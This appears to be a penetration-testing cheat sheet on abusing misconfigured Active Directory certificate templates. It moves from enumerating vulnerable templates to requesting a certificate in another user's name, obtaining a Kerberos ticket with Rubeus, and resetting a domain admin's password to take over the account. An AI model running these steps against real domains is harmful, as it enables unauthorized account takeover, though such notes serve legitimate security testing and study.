51 lines
2.1 KiB
Markdown
51 lines
2.1 KiB
Markdown
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## Active Directory Certificate Service ADCS
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* Internal CA
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* PKI
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* File system encryption
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* Digital signatures
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* User authentication
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* __Certificates will not be revoked after account password reset__
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## Certificate Templates
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* Extended/Enhanced Key Usage
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* Parameter combination can be exploited
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### Enumeration
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* [PSPKIAudit](https://github.com/GhostPack/PSPKIAudit)
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```sh
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certutil -v -template > ct.txt
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```
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Exploitable templates should have the following traits:
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* `Allow Enroll` or `Allow Full Control` permissions to request certificate
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* Find groups by `net user <username> /domain` --> `Domain Users`, `Domain Computers`
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* Client authentication EKU for Kerberos authentication --> `Client Authentication`
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* Permission to subject alternative name (SAN), e.g. URL to encrypt. Used to create Kerberos ticket, --> `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT`
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### Certificate Creation
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* `Win+R` --> `mmc` --> `File` --> `Add/Remove Snap-in` --> `Certificates` (Request Certificate if administration account --> Computer Account)
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* After that in the main menu, `Certificates` --> right click on `Personal` --> `All Tasks` --> `Request Certificates` --> `Next` --> `Next` --> `More information is required to enroll this certificate` --> `Common Name` --> `CN=concerto` && `User Principal Name` is the user to impersonate --> `OK` --> select `User Request` --> `Enroll`
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* After that in the main menu, `Personal` --> `Certificates` --> __The certificate__
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* Right click certificate --> `All Tasks` --> `Export` --> `Yes, export private key` --> `PFX` --> set `Password` --> Save
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### Impersonation
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* Request TGT with the created cert
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* Grab TGT
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* On the machine via
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```sh
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Rubeus.exe asktgt /user:<user (UPN) of cert> /enctype:aes256 /certificate:<path to certificate> /password:<certificate file password> /outfile:<name of file to write TGT to> /domain:<domain name> /dc:<IP of domain controller>
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```
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* Select a domain admin via opening `Active Directory Users and Computers`
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```sh
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.\Rubeus.exe changepw /ticket:<ticketfilename> /new:<new password> /dc:<domain of controller> /targetuser:<domain>\<dauser>
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```
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* `runas /user:<domain>\<username of DA> cmd.exe`
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